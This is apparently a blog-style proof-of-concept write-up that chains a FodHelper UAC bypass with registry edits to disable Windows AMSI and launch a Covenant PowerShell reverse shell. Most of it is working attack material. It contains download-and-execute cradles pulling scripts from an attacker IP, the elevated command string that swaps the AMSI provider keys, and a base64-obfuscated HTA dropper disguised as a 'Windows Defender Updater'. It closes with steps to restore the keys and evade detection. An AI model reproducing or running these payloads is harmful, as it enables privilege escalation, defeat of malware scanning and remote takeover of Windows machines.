TLDR; chaining the Windows trusted binary, FodHelper, for UAC bypass together with the ability to rewrite registry keys will safely disable ASMI allowing a PowerShell reverse shell.
POC
FodHelper UAC Bypass to evade ASMI
FodHelper
FodHelper is a Windows trusted binary known as a Features On Demand Helper. To this effect, we are able to use this binary to bypass UAC even when set to 5.
function helper() {
Param ([String]$custom = "cmd.exe /c notepad.exe")
# SNIP
Start-Process "C:\Windows\System32\fodhelper.exe"
}
We can execute the following function into memory, which as of 21/11/2021 does not get caught by ASMI, and execute any command as an elevated user.
Disabling ASMI
To update the registry, elevated permissions are requuired. With the help of FodHelper, we can bypass UAC and update the registry value for ASMI by one character to disable ASMI.
iex (New-Object Net.WebClient).DownloadString('http://192.168.X.XX/helper.ps1');
helper -custom "cmd.exe /c powershell New-Item 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFF}' -Force; Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}' -Recurse;"
As of 21/11/2021, Windows Defender will spit out a Behavior:Win32/UACBypassExp.T!proc
but the commands will still execute.
Getting back a Shell
For this, I span up Covenant and set up a HTTP listener hosting the 3 needed files. To generate the rev.ps1
we can simply just create a new Powershell launcher and host the file.
My completed updater.ps1
looked like this:
iex (New-Object Net.WebClient).DownloadString('http://192.168.X.XX/helper.ps1');
helper -custom "cmd.exe /c powershell New-Item 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFF}' -Force; Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}' -Recurse; cmd.exe /c powershell -Sta -Nop -Window Hidden -EncodedCommand <ENCODED COMMAND FOR rev.ps1 HERE>; New-Item 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}' -Force; Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFF}' -Recurse;"
Building the delivery
Since .hta
files are very ard to detect in Windows, I built a simple payload that would use base64 to obsfucate the payloads.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<!DOCTYPE html>
<html lang='en'>
<head>
<title>Windows Defender Updater</title>
</head>
<body>
<script language='VBScript' type='text/vbscript'>
Sub Window_OnLoad
BackgroundTask()
Window.Close()
End Sub
Function DoProcess(ByVal Service, ByVal Config)
Set InitConf = Config.SpawnInstance_
InitConf.ShowWindow = 12
' Instance Connection
Set W32 = Service.Get(CStr(Base64Decode("V2luMzJfUHJvY2Vzcw==")))
' Connect To Update Server (Payload here)
Error = W32.Create(CStr(Base64Decode("cG93ZXJzaGVsbCBpZXggKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LlguWFgvdXBkYXRlci5wczEnKQ==")), Null, InitConf, intProcessID)
End Function
Function BackgroundTask()
' Bind Service For Automated Updates
Set Service = CreateObject(CStr(Base64Decode("V2JlbVNjcmlwdGluZy5TV2JlbUxvY2F0b3I="))).ConnectServer()
Service.Security_.ImpersonationLevel = 3
Job = DoProcess(Service, Service.Get(CStr(Base64Decode("V2luMzJfUHJvY2Vzc1N0YXJ0dXA="))))
End Function
Function Base64Decode(ByVal sBase64EncodedText)
With CreateObject("Msxml2.DOMDocument").CreateElement("aux")
.DataType = "bin.base64"
.Text = sBase64EncodedText
Base64Decode = BytesToStr(.NodeTypedValue)
End With
End Function
Function BytesToStr(ByVal byteArray)
With CreateObject("ADODB.Stream")
.Type = 1
.Open
.Write byteArray
.Position = 0
.Type = 2
.CharSet = "utf-8"
BytesToStr = .ReadText
.Close
End With
End Function
</script>
</body>
</html>
Conclusion
Opening the init.hta
file will successfully use the Fodhelper UAC bypass to rewrite the ASMI registry key value safely allowing our Powershell reverse shell to execute giving us a high integrity door. We can then restore the registry values to evade any detection.